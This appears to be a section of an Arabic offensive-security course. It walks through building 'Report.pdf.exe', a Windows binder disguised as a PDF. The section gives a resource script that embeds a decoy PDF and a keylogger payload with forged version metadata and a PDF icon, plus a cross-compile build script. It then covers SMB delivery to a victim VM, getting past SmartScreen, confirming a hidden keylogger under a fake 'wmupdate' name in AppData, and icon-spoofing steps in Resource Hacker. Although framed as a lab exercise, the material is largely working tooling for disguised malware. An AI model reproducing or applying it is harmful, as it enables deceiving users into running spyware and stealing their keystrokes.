🔍 مرجع تفصيلي: كل سطر في binder.rc

أنماط التعليقات

  • // تعليق سطر واحد، يمتد حتى نهاية السطر (نمط C).
  • /* تعليق متعدد الأسطر */، يمتد عبر عدة أسطر. لا يمكن تداخله (nesting غير مسموح).

1 ICON "pdf.ico": مورد الأيقونة

الجزءالمعنى
1معرّف رقمي للمورد (Resource ID)
ICONنوع مورد معرّف مسبقا في Windows
"pdf.ico"مسار الملف (نسبي لموقع binder.rc)

لماذا يجب أن يكون الـ ID بالضبط 1: Windows Explorer عندما يريد عرض أيقونة لملف .exe يبحث عن المورد ذي أقل ID رقمي من نوع ICON. لو استعملنا 2 ICON، تبقى الأيقونة مضمنة داخل الملف لكن Explorer لن يعرضها، سيظهر أيقونة .exe الافتراضية (النافذة الرمادية). خدعة انتحال PDF تعتمد كليا على هذا.

ماذا يكسر لو غيّرنا:

  • حذف الرقم 1 → خطأ نحوي (المترجم يحتاج ID).
  • تغيير ICON إلى BITMAP → يعامل كصورة عادية، لا يظهر كأيقونة.
  • مسار خاطئ لـ pdf.ico → windres يفشل بـ cannot open file.

RCDATA: البيانات الخام

text
DECOY_PDF   RCDATA "decoy.pdf"
PAYLOAD_EXE RCDATA "payload.exe"
  • RCDATA: نوع مورد يسمح بتضمين أي ملف ثنائي كما هو، بايت-بايت، داخل الـ .exe.
  • لماذا نستخدمه: Windows لا يعرف نوعا مسبقا اسمه "PDF" أو "EXE مضمّن". نخزن البايتات الخام ونستخرجها لاحقا عبر FindResource/LoadResource.

أسماء نصية vs معرّفات رقمية: استخدمنا DECOY_PDF و PAYLOAD_EXE كأسماء (strings) بدلا من أرقام.

الجانباستخدام رقم (ID)استخدام اسم (Name)
المثال1 ICON "..."DECOY_PDF RCDATA "..."
الاستدعاء من C++MAKEINTRESOURCE(1)L"DECOY_PDF"
الحجمأصغر قليلاأكبر قليلا (يخزن السلسلة)
القراءةيحتاج تعليق لفهمهذاتي التوثيق

لماذا الأحرف الكبيرة (uppercase): اصطلاح قديم في Windows، أسماء الموارد بالكبيرة تمييزا لها عن المتغيرات. Windows يقارن case-insensitive لكن الاتفاق يسهل القراءة.

تحذير: اسم المورد في .rc يجب أن يطابق ما تستخدمه في C++. لو كتبت DECOY_PDF هنا و L"decoy-pdf" في C++، FindResourceW يعيد NULL.

1 VERSIONINFO: معلومات الإصدار

هذه أهم كتلة لخداع المستخدم، تملأ خصائص الملف في Properties → Details وعمود Publisher في Task Manager.

صيغة FILEVERSION و PRODUCTVERSION:

rc
FILEVERSION    1,0,0,0
PRODUCTVERSION 1,0,0,0
  • 1 الأول (قبل VERSIONINFO): ID للمورد. تقليديا VS_VERSION_INFO = 1. يجب أن يكون 1 لكي تجده دوال Windows.
  • الفواصل الأربع إلزامية: 1,0,0,0 (Major, Minor, Build, Revision). النقاط 1.0.0.0 خطأ نحوي.

الكتل المتداخلة:

هناك مستويان إلزاميان حسب Microsoft:

  1. BLOCK "StringFileInfo"، الحاوية العامة. الاسم مطلوب حرفيا.
  2. BLOCK "040904b0"، كتلة اللغة/الترميز التي تحتوي الحقول.

السلسلة السحرية "040904b0":

الجزءالقيمةالمعنى
0409LCIDLANG_ENGLISH_US: الإنجليزية الأمريكية
04b0Codepage0x04b0 = 1200 = Unicode (UTF-16LE)

لماذا هذا الاختيار:

  • 0409 = الأكثر شيوعا؛ يجعل الملف يبدو "طبيعيا" على أي نظام.
  • 04b0 (Unicode) = يسمح بأي حرف من أي لغة في الحقول النصية.

جدول الترجمة الإلزامي:

rc
BLOCK "VarFileInfo"
{
    VALUE "Translation", 0x0409, 0x04b0
}
  • يجب أن تتطابق: 0x0409, 0x04b0 هنا مع "040904b0" أعلاه. لو لم تتطابق، VerQueryValue يبحث عن كتلة خاطئة ولا يجدها = حقول فارغة.

الحقول الرئيسية وأين تظهر:

المفتاحأين يظهر في Windows
CompanyNameDetails → Copyright (جزئيا) + عمود Publisher في Task Manager
FileDescriptiontooltip الفأرة فوق الملف + عمود Description في Task Manager
FileVersionDetails → File version
InternalNameDetails → Internal name (نادرا يُنظر إليه)
LegalCopyrightDetails → Copyright
OriginalFilenameDetails → Original filename: حرج للخداع
ProductNameDetails → Product name + Task Manager أحيانا
ProductVersionDetails → Product version

لماذا OriginalFilename = "Report.pdf": بعض أدوات الأمن (وSmartScreen أحيانا) تقارن الاسم الحالي بـ OriginalFilename. مع Report.pdf هنا، تبويب Details يعرض "Report.pdf" ويعزز الانطباع بأنه مستند PDF حقيقي.

كيف يعالج windres هذا الملف؟

text
binder.rc → [preprocessor] → [parser] → [binary encoder] → binder-res.o
  1. معالج مسبق: يعالج #include, #define، يحذف التعليقات.
  2. محلل نحوي: يفهم ICON, RCDATA, VERSIONINFO، ويبني شجرة موارد بنوع ← اسم ← لغة.
  3. قراءة الملفات الخارجية: عند 1 ICON "pdf.ico" يفتح الملف ويقرأ محتواه ثنائيا. نفس الشيء لـ decoy.pdf و payload.exe.
  4. تشفير ثنائي: يحوّل VERSIONINFO إلى بنية VS_VERSIONINFO الثنائية، النصوص إلى UTF-16LE، يضع كل شيء في قسم .rsrc بصيغة قابلة للربط.
  5. إخراج: ملف .o (COFF) قابل للربط مع الـlinker.

الفرق عن rc.exe من Microsoft: rc.exe يُخرج .res وسيط، ثم cvtres يحوّله لـ .obj. windres يفعل الخطوتين في أمر واحد ويُخرج .o مباشرة. النتيجة النهائية داخل الـ .exe متطابقة.

الأخطاء الشائعة

الخطأالعرضالعلاج
نقاط في FILEVERSION (1.0.0.0)syntax error عند التجميعفواصل: 1,0,0,0
ترميز خاطئ في السلسلة السداسيةحقول فارغة في Explorerالتزم بـ "040904b0"
نسيان كتلة Translationبعض الأدوات لا تقرأ الحقولأضف VarFileInfo دائما
عدم تطابق Translation مع StringFileInfoحقول مفقودةتأكد 0x0409, 0x04b0 = "040904b0"
ID غير 1 للأيقونةExplorer لا يعرض أيقونة PDFابدأ بـ 1 ICON
اسم مورد مختلف بين .rc و C++FindResource يعيد NULLطابق تماما
حرف © مباشر في UTF-8فشل windres أحيانااستخدم \251

الملف الثالث: build.sh (سكربت البناء)

bash
#!/usr/bin/env bash
# build.sh — يبني Report.pdf.exe من binder.cpp + binder.rc + الأصول
set -euo pipefail

# 1. تحقق من وجود الأصول قبل البدء (fail-fast)
for f in binder.cpp binder.rc pdf.ico decoy.pdf payload.exe; do
    [[ -f "$f" ]] || { echo "MISSING: $f" >&2; exit 1; }
done

# 2. windres يترجم .rc إلى object file (COFF format للربط مع PE)
x86_64-w64-mingw32-windres -O coff -i binder.rc -o binder-res.o

# 3. g++ يجمّع ويربط كل شيء
#    -municode ضروري لأننا نستخدم wWinMain (نقطة دخول Unicode)
#    بدونها MinGW سيبحث عن WinMain (ANSI) والربط سيفشل
#    -luuid ضروري لأننا نستخدم FOLDERID_RoamingAppData (GUID ثابت من libuuid)
x86_64-w64-mingw32-g++ \
    -std=c++17 -O2 -s \
    -mwindows -municode \
    -DUNICODE -D_UNICODE \
    -static-libgcc -static-libstdc++ \
    -o Report.pdf.exe \
    binder.cpp binder-res.o \
    -lshell32 -lshlwapi -lole32 -luuid

# (لا نحتاج خطوة strip منفصلة — -s أثناء الربط كافية.
#  بعض إصدارات mingw-w64 تفشل بـ strip --strip-all على ملف مضغوط بالفعل بـ -s)

echo "OK: built Report.pdf.exe ($(du -h Report.pdf.exe | cut -f1))"

🔍 مرجع تفصيلي: كل سطر في build.sh

#!/usr/bin/env bash: الـ Shebang

  • ما هو: أول سطرين حرفين #! يخبران النواة أي مفسّر يشغّل بقية الملف.
  • لماذا /usr/bin/env bash وليس /bin/bash: env موجود في نفس المسار على معظم أنظمة Unix، أما bash نفسه فقد يكون في /bin/bash (Linux) أو /usr/local/bin/bash (macOS Intel) أو /opt/homebrew/bin/bash (Apple Silicon). env يبحث في $PATH = قابلية النقل.

set -euo pipefail: أعلام السلامة

أربعة أوضاع تجعل السكربت "يفشل بسرعة" (fail-fast):

  • -e (errexit): يوقف السكربت فورا إذا فشل أي أمر (exit status ≠ 0). بدونه: أمر فاشل يُتجاهل والسكربت يكمل بمخرج ملوّث.
  • -u (nounset): يوقف عند استخدام متغير غير معرّف. يمنع كوارث مثل rm -rf "$PREFIX/" عندما $PREFIX فارغ = rm -rf /.
  • -o pipefail: بدونه، A | B | C يعطي exit status لـ C فقط. معه، أي فشل في وسط الـ pipe يظهر. ضروري مع -e لأن -e وحده لا يلتقط فشل الأوامر داخل الـ pipe.

حلقة التحقق for + [[ ]]

bash
for f in binder.cpp binder.rc pdf.ico decoy.pdf payload.exe; do
    [[ -f "$f" ]] || { echo "MISSING: $f" >&2; exit 1; }
done
  • [[ ]] vs [ ]: [ ] أمر خارجي بصياغة POSIX. [[ ]] keyword في Bash، يُحلّل نحويا قبل التنفيذ، فيمنحك: لا حاجة لتنصيص المتغيرات، دعم =~ (regex)، عوامل منطقية داخلية.
  • -f: صحيح إذا المسار موجود وملف عادي (regular file). (-d للمجلدات، -e لأي كيان).
  • A || B: نفّذ B فقط إذا فشل A، نمط guard.
  • { ... } vs ( ... ): { } grouping في نفس الـ shell (يشترط ; أو سطر جديد قبل }). ( ) يفتح subshell. نستخدم { } لأننا نريد exit 1 يوقف السكربت الأصلي.
  • >&2: يوجّه الإخراج إلى stderr بدل stdout (رسائل الخطأ يجب أن تكون في stderr).

x86_64-w64-mingw32-windres: مترجم الموارد

الـ Target Triple x86_64-w64-mingw32: صيغة تسمية GNU. الشكل العام arch-vendor-os/abi:

  • x86_64: المعمارية (64-bit Intel/AMD). البديل: i686 لـ 32-bit.
  • w64: البائع، إشارة لمشروع mingw-w64 (الفرع الحديث بدعم 64-bit).
  • mingw32: نظام التشغيل/ABI، MinGW (Minimalist GNU for Windows). يُنتج ثنائيات Windows PE أصلية بدون Cygwin runtime. اسم mingw32 بقي تاريخيا حتى في نسخة 64-bit.

-O coff: تنسيق الإخراج.

  • coff = Common Object File Format، ما يتوقعه linker على Windows (PE مبني تاريخيا فوق COFF).
  • البديل res = تنسيق .res وسيط. البديل rc = إعادة كتابة نصية.
  • لماذا coff وليس elf: ELF هو تنسيق Linux/Unix. PE هو تنسيق Windows.

-i و -o: input file و output file.

x86_64-w64-mingw32-g++: الـ Cross-Compiler

نفس target triple لكن للأداة g++. cross-compiler = يعمل على المضيف (Linux/WSL) ويُنتج ثنائيات لـ Windows. يستدعي داخليا: preprocessor → cc1plus → as (assembler) → ld (linker).

-std=c++17

معيار اللغة. البدائل: c++11, c++14, c++17, c++20, c++23. C++17 يعطينا std::optional, std::filesystem, structured bindings. بدونه، GCC يستخدم افتراضه المتغير بين الإصدارات.

-O2: مستوى التحسين

المستوىالوصفمتى
-O0لا تحسين. سريع الترجمة، سهل الـ debuggingتطوير
-O1تحسينات أساسيةتوازن خفيف
-O2قوي بدون زيادة حجم مضرة بالـ cache. الافتراضي للإنتاجما نستخدمه
-O3O2 + تحسينات عدوانية (vectorization). أحيانا أسرع، أحيانا أبطأبعد قياس
-Osتحسين للـ حجمEmbedded
-OfastO3 + كسر IEEE للأرقام العشريةحسابات علمية

-s: إزالة الرموز أثناء الربط

  • يمرَّر إلى linker ويحذف symbol table و relocation info.
  • يقلل الحجم بشكل ملحوظ ويصعّب reverse engineering (قليلا).
  • لهذا حذفنا strip --strip-all المنفصل، -s هنا كافٍ، وبعض إصدارات mingw-w64 تفشل بـ strip: Invalid argument على ملف مضغوط بالفعل.

-mwindows: نظام النوافذ الفرعي

  • PE Subsystem: حقل في رأس PE يخبر Windows loader بأي واجهة يشغّل البرنامج. — CONSOLE (افتراضي): ينشئ نافذة console سوداء تلقائيا. — WINDOWS: بلا console، تطبيق GUI صرف. ما نريده.
  • -mwindows = ضع WINDOWS + اربط تلقائيا مكتبات GUI (user32, gdi32).
  • بدونه: تظهر نافذة console سوداء لحظيا = مظهر غير احترافي ينكشف الخداع.

-municode: نقطة الدخول Unicode

  • Windows API له نسختان لكل دالة نصية: FooA (ANSI) و FooW (Wide/UTF-16).
  • Entry points: — main(int argc, char** argv)، ANSI console — wmain(int argc, wchar_t** argv)، Wide console — WinMain(...)، ANSI GUI — wWinMain(...)، Wide GUI
  • -municode يخبر runtime startup الخاص بـ mingw-w64 أن يستدعي نسخة w (wide)، ويعرّف wWinMain كنقطة دخول.
  • بدونه: إذا كتبت wWinMain يفشل linker بـ undefined reference to WinMain لأن startup الافتراضي يبحث عن ANSI.

-DUNICODE -D_UNICODE: تعريفان يجب أن يأتيا معا

  • -D NAME = عرّف ماكرو (كأنك كتبت #define NAME في أعلى كل ملف).
  • لماذا اثنان؟ — UNICODE: يقرأه Windows API headers (<windows.h>). عند تعريفه: TCHAR = wchar_t, TEXT("x") = L"x", الدوال بلا لاحقة (CreateFile) تُوجَّه إلى CreateFileW. — _UNICODE: يقرأه C runtime headers (<tchar.h>). يجعل _tprintf = wprintf, _tcslen = wcslen.
  • الاثنان من طبقتين مختلفتين (Win32 و MS C runtime). عمليا يجب تعريفهما معا وإلا حصلت على مزيج غير متسق = bugs غامضة مع النصوص العربية.

-static-libgcc -static-libstdc++

  • مكتبات runtime: — libgcc: helpers منخفضة المستوى من GCC (exception handling، arithmetic). — libstdc++: تطبيق GCC للمكتبة القياسية C++ (std::string, std::vector).
  • افتراضيا: تُربط ديناميكيا كـ DLLs (libgcc_s_seh-1.dll, libstdc++-6.dll)، يجب أن ترافق تنفيذك.
  • -static-*: تُدمج داخل الـ .exe نفسه.
  • الفائدة: ملف واحد يعمل على أي Windows 7+ بدون تبعيات (لا DLL hell).
  • الثمن: الملف يكبر بضعة MB.

-lshell32 -lshlwapi -lole32 -luuid: مكتبات الربط

-l NAME = اربط مع libNAME.a (NAME.lib على Windows).

المكتبةالرموز التي تقدمها
shell32ShellExecute, SHGetKnownFolderPath, SHCreateDirectoryExW, drag-and-drop
shlwapiShell Lightweight: PathFindFileName, PathCombine, PathIsRelative
ole32OLE/COM core: CoInitialize, CoCreateInstance, CoTaskMemFree
uuidتعريفات GUIDs الثابتة: FOLDERID_RoamingAppData, IID_IUnknown...

لماذا -luuid جديد: الـ GUIDs مثل FOLDERID_RoamingAppData تُصرَّح في الرؤوس (extern const KNOWNFOLDERID ...) لكن البيانات الفعلية للـ GUID تعيش في libuuid.a. بدون -luuid يفشل الربط بـ undefined reference to FOLDERID_RoamingAppData.

هل الترتيب الأبجدي مهم؟ لا. لكن ترتيب الظهور على سطر الأوامر يهم:

  • GNU ld يمشي من اليسار لليمين. كل مكتبة تحل رموزا غير محلولة سابقا فقط.
  • القاعدة الذهبية: object files أولا، ثم libraries.
  • المكتبات المعتمِدة قبل المعتمَد عليها. مثلا لو main.o يستدعي ShellExecute من shell32، ولو shell32 تحتاج شيئا من ole32، فالترتيب: main.o -lshell32 -lole32.

du -h Report.pdf.exe | cut -f1

  • $( ... ): command substitution، ينفذ الأمر ويستبدل قيمته.
  • du: disk usage. -h = human-readable (1.2M بدل 1234567).
  • |: pipe، يوصل stdout للأمر الأول إلى stdin للثاني.
  • cut -f1: الحقل الأول (الفاصل الافتراضي = tab). du -h يفصل بتاب، فنحصل على الحجم فقط.

ملخص أمني للأعلام مجتمعة

  • قابلية النقل: -static-libgcc -static-libstdc++ + shebang عبر env = يعمل على أي Windows 7+.
  • احتراف بصري: -mwindows = لا console.
  • دعم النصوص الدولية: -municode -DUNICODE -D_UNICODE = wide strings صحيحة.
  • صغر الحجم: -O2 -s = ملف نظيف صغير.
  • أمان السكربت: set -euo pipefail + التحقق من الأصول = فشل مبكر واضح.

🧪 معمل: أوامر البناء الفعلية (على الـ Attacker WSL Ubuntu)

bash
# 1. جهّز مجلد البناء وانسخ الأصول
mkdir -p ~/lab/build-B && cd ~/lab/build-B

cp ~/lab/payloads/keylogger_edu.exe    payload.exe   # من المحاضرة 1
cp ~/lab/payloads/any-real-report.pdf  decoy.pdf     # أي PDF شرعي
cp ~/lab/payloads/pdf.ico              pdf.ico       # أيقونة PDF متعددة الأحجام

# 2. انسخ ملفات الكود من مجلد المحاضرة (أو الصق من هذا المستند):
#    binder.cpp, binder.rc, build.sh

# 3. اجعل build.sh قابل للتنفيذ
chmod +x build.sh

# 4. نفّذ البناء
./build.sh
# → Built Report.pdf.exe (~200 KB)

تحقق سريع بعد البناء

bash
ls -lh Report.pdf.exe
# → يجب أن يكون ~200 KB (يتفاوت حسب حجم decoy.pdf و payload.exe)

file Report.pdf.exe
# → PE32+ executable (GUI) x86-64, for MS Windows

# تحقق أن الـ PDF فعلا مدمج داخل الـ EXE:
grep -a "%PDF" Report.pdf.exe
# → يجب أن تجد "%PDF-1.4" (أو الإصدار الذي يحمله ملفك)

# تحقق أن الـ payload EXE مدمج (ابحث عن سلسلة مميزة داخله):
strings Report.pdf.exe | grep -i "payload"

# راجع أقسام PE بالتفصيل:
x86_64-w64-mingw32-objdump -h Report.pdf.exe | grep -E '\.text|\.rsrc|\.data'
# → يجب أن ترى قسم .rsrc موجود بحجم كبير (يحتوي كل مواردنا)

🐛 سجل الأخطاء المكتشفة بالاختبار: قصة تعليمية

هذا الكود لم يكتب من فراغ ثم يعمل، اكتشفنا ثلاثة أخطاء بالتجميع الفعلي داخل WSL Ubuntu. اذكر هذه الأخطاء لأنها شائعة عند مبتدئي MinGW-w64:

الخطأ 1: SHGetKnownFolderPath was not declared

الرسالة الكاملة:

text
binder.cpp:13:9: error: 'SHGetKnownFolderPath' was not declared in this scope;
                        did you mean 'SHGetFolderPath'?

السبب: رؤوس MinGW تخفي الدوال الحديثة (Vista+) خلف الماكرو _WIN32_WINNT. القيمة الافتراضية غالبا 0x0502 (Windows XP SP2) وهذه الدالة أُضيفت في 0x0600 (Vista).

الإصلاح:

cpp
#ifndef _WIN32_WINNT
#define _WIN32_WINNT 0x0601   // Windows 7 baseline
#endif
#include <windows.h>

درس: #define يجب أن يأتي قبل أي #include لرؤوس Windows.

الخطأ 2: cannot convert LPWSTR to LPCSTR

الرسالة الكاملة:

text
binder.cpp:35:65: error: cannot convert 'LPWSTR' {aka 'wchar_t*'} to
                        'LPCSTR' {aka 'const char*'}
   FindResourceA(GetModuleHandleA(NULL), resName, RT_RCDATA);

السبب: مع -DUNICODE، الماكرو RT_RCDATA يتوسع إلى قيمة من نوع LPCWSTR (const wchar_t*). لكن FindResourceA تريد LPCSTR (const char*). عدم توافق الأنواع.

الإصلاح: استعمل النسخة الـ Unicode لكل شيء:

cpp
// بدل:
FindResourceA(GetModuleHandleA(NULL), "DECOY_PDF", RT_RCDATA);

// استعمل:
FindResourceW(GetModuleHandleW(NULL), L"DECOY_PDF", RT_RCDATA);

وعدّل توقيع الدالة من LPCSTR إلى LPCWSTR.

درس: عند بناء بـ -DUNICODE، التزم بـ W variants في كل مكان، لا تخلط A و W.

الخطأ 3: undefined reference to FOLDERID_RoamingAppData

الرسالة الكاملة:

text
/usr/bin/x86_64-w64-mingw32-ld: undefined reference to 'FOLDERID_RoamingAppData'
collect2: error: ld returned 1 exit status

السبب: ثوابت KNOWNFOLDERID مُصرَّحة في الرؤوس، لكن بيانات GUID الفعلية تعيش في مكتبة منفصلة libuuid.a.

الإصلاح: أضف -luuid إلى سطر الربط:

bash
x86_64-w64-mingw32-g++ ... binder.cpp binder-res.o \
    -lshell32 -lshlwapi -lole32 -luuid
#                                ^^^^^^ ← جديد

درس: GUIDs في Windows تحتاج ربط خاص. أي FOLDERID_*, IID_*, CLSID_* يستدعي -luuid.

مشكلة رابعة: strip: Invalid argument

بعض إصدارات mingw-w64 تفشل بـ strip --strip-all على ملف مضغوط بالفعل بـ -s أثناء الربط. الحل: حذفنا خطوة strip المنفصلة، العَلَم -s كافٍ.

الخلاصة العملية

كل هذه الأخطاء مسكوت عنها في التوثيق العام لأن غالبية الأمثلة تفترض إصدارات محددة من التوليفة. الطالب الذي يستنسخ كودا من الإنترنت يواجهها كثيرا. الحل الدائم: جرّب البناء فورا بعد أول محاولة، لا تنتظر حتى تكتب كل الكود.

🛠️ إن لم تكن pdf.ico عندك: ابنها من PNG

bash
# جهّز 4 صور PNG بأحجام مختلفة (16, 32, 48, 256)
# ثم:
convert pdf-16.png pdf-32.png pdf-48.png pdf-256.png pdf.ico

# أو حمّل واحدة جاهزة من icons8.com / iconarchive.com

✅ اختبر نفسك: القسم 8

  1. ما دور windres في عملية البناء؟ ولماذا لا يكفي g++ وحده؟
  2. لماذا نحتاج العَلَم -municode تحديداً؟ ما الذي يفشل بدونه ولماذا؟
  3. ما الفرق بين ملف binder.cpp وملف binder.rc، أيّهما يصف السلوك وأيّهما يصف المحتوى؟
  4. لماذا يبدأ build.sh بالتحقق من وجود الأصول قبل أي خطوة أخرى (مبدأ fail-fast)؟
  5. العَلَم -s أثناء الربط، ماذا يزيل، وما فائدته للمهاجم؟

4/5 = تابع. أقل = راجع التعليقات داخل build.sh سطراً سطراً.


القسم 9القسم 9: الاختبار على Windows 11 Victim VM

خطوات النقل والتنفيذ

powershell
# 1. من المهاجم (WSL) — انسخ الملف إلى SMB share:
#    (تأكد أن SMB share مضبوط من المحاضرة الأم)
smbclient -N //10.10.10.20/share -c 'put Report.pdf.exe'

# 2. على VM الضحية — افتح المجلد في Explorer:
#    \\10.10.10.10\share\

# 3. تحقق أن "Hide extensions" مفعل:
#    Explorer → View → Show → File name extensions = OFF (مخفية)

# 4. سترى Report.pdf بأيقونة PDF

# 5. انقر مرتين
#    → SmartScreen: "Windows protected your PC"
#    → اضغط "More info" → "Run anyway"

ماذا يجب أن ترى (بعد Run anyway)

powershell
# 1. Adobe Reader (أو Edge) يفتح ملف PDF شرعي
#    → الضحية لا ترى شيئا غريبا

# 2. في الخلفية — تحقق أن الـ Keylogger يعمل:
Get-Process wmupdate -ErrorAction SilentlyContinue
# → موجود، بلا نافذة

# 3. تحقق من مساره:
Test-Path "$env:APPDATA\Microsoft\Windows\Update\wmupdate.exe"
# → True

# 4. على المهاجم:
#    msfconsole → استقبال الاتصال العكسي
#    (نفس ما فعلناه في المحاضرة 1)

# 5. تحقق MOTW على الملف الأصلي:
Get-Content .\Report.pdf.exe -Stream Zone.Identifier
# → موجود (لأنه جاء من SMB مثل من الإنترنت)
⚠️ بعد كل تجربة أعد VM الضحية إلى Snapshot نظيف. لا تختبر ملفا ثانيا على نفس النظام المُلوَّث، النتائج ستكون ملوّثة بأثر التجربة السابقة.

🎨 لمسة أخيرة: تحسين الأيقونة وخدعة RLO على الاسم

تحسين الأيقونة: قد تكون الأيقونة سيئة في حجم معين (16×16) لأن pdf.ico لم يحتوِ ذلك الحجم. الطريق: افحص أحجام الأيقونات داخل Report.pdf.exe في Resource Hacker، وأعد بناء pdf.ico بأحجام كاملة إن لزم.

📖 دليل خطوة-بخطوة: Resource Hacker من التحميل إلى التعديل

الجزء الأول، التثبيت والتشغيل الأول:

1. تحميل البرنامج:

  1. افتح المتصفح واذهب إلى: http://www.angusj.com/resourcehacker/
  2. انزل إلى قسم Download في منتصف الصفحة.
  3. ستجد رابطين: — EXE install، نسخة مثبِّت عادية (تنشئ اختصارات في Start Menu). — ZIP install، نسخة محمولة (Portable): فك الضغط في أي مجلد وشغّل ResourceHacker.exe مباشرة.
  4. للاستخدام الدراسي يفضل ZIP لأنها لا تحتاج صلاحيات إدارية.

2. التثبيت:

  • إذا اخترت EXE install: انقر مزدوجا على الملف → Next → اقبل الترخيص → Install → Finish.
  • إذا اخترت ZIP: انقر يمين على ملف الـ ZIP → Extract All... → اختر مجلدا (مثلا C:\Tools\ResourceHacker) → Extract.

3. أول تشغيل، التعرف على الواجهة:

شغّل ResourceHacker.exe بنقرة مزدوجة. النافذة الرئيسية مقسمة إلى ثلاث مناطق:

  • Toolbar أعلى: القوائم File, Edit, View, Action, Help + أيقونات سريعة.
  • Tree Pane يسار: يعرض جميع الموارد داخل الملف شجريا (Icon, Bitmap, Menu, Dialog, String Table, RCDATA, Version Info…).
  • Value Pane يمين: يعرض محتوى المورد المحدد (صورة الأيقونة، نص القائمة، أو الكود المرافق للمورد بصيغة نصية قابلة للتعديل).

الجزء الثاني، فحص Report.pdf.exe وتصدير الأيقونات:

4. فتح الملف:

  1. من Toolbar: File → Open... (أو Ctrl+O).
  2. يظهر مربع حوار Open File.
  3. تنقل إلى مجلد Report.pdf.exe.
  4. إذا لم يظهر الملف: افتح قائمة الفلتر أسفل يمين المربع → اختر All files (*.*).
  5. حدد Report.pdf.exe واضغط Open.

5. إيجاد الأيقونة في الشجرة:

  1. في الشجرة اليسرى، ابحث عن العنصر المسمى Icon واضغط السهم بجانبه (أو دبل كليك) لتوسعته.
  2. تحته أرقام الأيقونات الفردية: 1, 2, 3… كلٌّ منها صورة أيقونة واحدة بمقاس محدد.
  3. ابحث عن عنصر منفصل باسم Icon Group ووسّعه.
  4. تحته سترى 1 (أو أرقام أخرى)، هذه مجموعة الأيقونات التي تجمع كل المقاسات في حزمة.
  5. وسّع Icon Group 1 لترى تحته 1033، معرّف اللغة (Language ID). الرقم 1033 = الإنجليزية-الأمريكية.

6. الفرق بين Icon و Icon Group:

العنصرالمعنى
Iconصورة أيقونة مفردة بمقاس واحد (16×16 أو 32×32 أو 256×256).
Icon Groupفهرس يجمع مجموعة من الـ Icons ويربطها كأيقونة واحدة متعددة الأحجام.

خلاصة: تعامل دائما مع Icon Group لا مع الـ Icons المفردة، لأن استبدال أيقونة مفردة لا يحدّث الفهرس.

7. القائمة السياقية لـ Icon Group 1 (بزر الفأرة الأيمن):

انقر يمين على Icon Group : 1 : 1033:

الخيارالوظيفة
Save Resource as a *.ico file...يحفظ المجموعة كملف .ico مستقل يحوي كل المقاسات
Save Resource as a binary file...يحفظ المورد بصيغته الثنائية الخام (.bin): للتحليل المتقدم
Replace Icon...يفتح مربع الاستبدال: يضع أيقونة جديدة مكان الحالية
Delete Resourceيحذف المجموعة كاملة (احذر: الملف يصبح بلا أيقونة)
Copyينسخ المورد للحافظة
Rename Resource...لتغيير اسم أو رقم المورد

8. تصدير جميع مقاسات الأيقونة:

  1. انقر يمين على Icon Group : 1 : 1033.
  2. اختر Save Resource as a *.ico file....
  3. تظهر نافذة Save As.
  4. تنقل إلى المجلد الهدف (مثلا C:\Users\...\Desktop\IconsExport\).
  5. اكتب اسم الملف (مثلا original_icon.ico) → Save.
  6. الملف الناتج يحتوي كل المقاسات التي كانت في المجموعة (16, 32, 48, 256…).

9. مراجعة جودة كل مقاس في File Explorer:

  1. افتح مجلد التصدير في File Explorer.
  2. من View في Explorer: — Small icons، يظهر 16×16 — Medium icons، يظهر 32×32 أو 48×48 — Large icons، يظهر 96×96 تقريبا — Extra large icons، يظهر 256×256
  3. أي مقاس ضبابي أو مشوّه = المصمم الأصلي لم يدرجه بجودة كافية → يجب إعادة بناء pdf.ico.

الجزء الثالث، استبدال الأيقونة بأخرى محسنة:

10. استخدام Replace Icon:

  1. من Toolbar: Action → Replace Icon... (أو انقر يمين على Icon Group واختر Replace Icon...).
  2. يظهر مربع حوار Replace Icon بالحقول: — زر Open file with new icon... أعلى: اضغطه واختر ملف الأيقونة الجديد (pdf.ico بأحجام كاملة). — قائمة يسرى: تعرض مجموعات الأيقونات في Report.pdf.exe الأصلي. حدد Icon Group : 1 : 1033. — قائمة يمنى: تعرض مجموعات الأيقونات في الملف الجديد. حدد المجموعة المطلوبة. — زر Replace أسفل: ينفّذ الاستبدال. — زر Cancel: يلغي بلا تغيير.
  3. اضغط Replace.
  4. المربع يغلق تلقائيا، وتشاهد الأيقونة الجديدة في Value Pane.

11. حفظ التعديلات:

  1. من Toolbar: File → Save (أو Ctrl+S).
  2. تحذير مهم: هذا الأمر يستبدل Report.pdf.exe في مكانه دون سؤال.
  3. لتفادي فقدان النسخة الأصلية: File → Save As... واحفظ باسم مختلف (مثلا Report.pdf.new.exe).
  4. Resource Hacker ينشئ تلقائيا نسخة احتياطية بامتداد _original.exe بجانب الملف الأصلي.

12. التحقق النهائي:

  1. أغلق Resource Hacker (File → Exit أو Alt+F4).
  2. افتح File Explorer وانتقل لمجلد Report.pdf.exe.
  3. اضغط F5 لتحديث العرض.
  4. يجب أن تظهر الأيقونة الجديدة على الملف فورا.
  5. إذا لم تظهر: Windows يخزّن الأيقونات في Icon Cache. الحلول: — غيّر عرض المجلد إلى Details ثم عُد إلى Large icons — أعد تشغيل عملية explorer.exe من Task Manager

13. بناء pdf.ico جديد بكل الأحجام (لو الأصلي ناقص):

bash
# داخل WSL Ubuntu:
# جهّز 4 صور PNG بأحجام مختلفة (يمكن أخذها من icons8.com):
#   pdf-16.png  pdf-32.png  pdf-48.png  pdf-256.png

# اجمعها في ملف .ico واحد:
convert pdf-16.png pdf-32.png pdf-48.png pdf-256.png pdf.ico

# للأناقة، أضف حجم 24 و 64 و 128:
convert pdf-16.png pdf-24.png pdf-32.png pdf-48.png \
        pdf-64.png pdf-128.png pdf-256.png pdf.ico

14. مصادر أيقونات PDF جاهزة:

  • https://icons8.com/icon/set/pdf/color، أيقونات ملونة عالية الجودة.
  • https://iconarchive.com/tag/pdf، أرشيف واسع.
  • https://icoconvert.com، تحويل PNG → ICO بأحجام متعددة عبر المتصفح.

📖 السيناريو الثاني: إضافة مورد RCDATA جديد لـ EXE موجود

إذا أردت تضمين PDF أو أي ملف داخل EXE بدون إعادة بناء الكود (يدويا عبر Resource Hacker):

  1. افتح EXE في Resource Hacker (File → Open).
  2. من Toolbar: Action → Add a new Resource....
  3. يظهر مربع Add a new Resource بالحقول:
الحقلما تضع فيه
Select File to add as new Resource (زر Open File with New Resource...)اضغط الزر واختر ملف PDF (مثلا manual.pdf)
Resource Typeاكتب يدويا: RCDATA (كلها كبيرة، بلا اقتباس)
Resource Nameاسم مميز يستخدمه برنامجك (TEST_PDF, USER_MANUAL): كبيرة، بلا فراغات
Resource Languageأدخل 1033 (English-US)
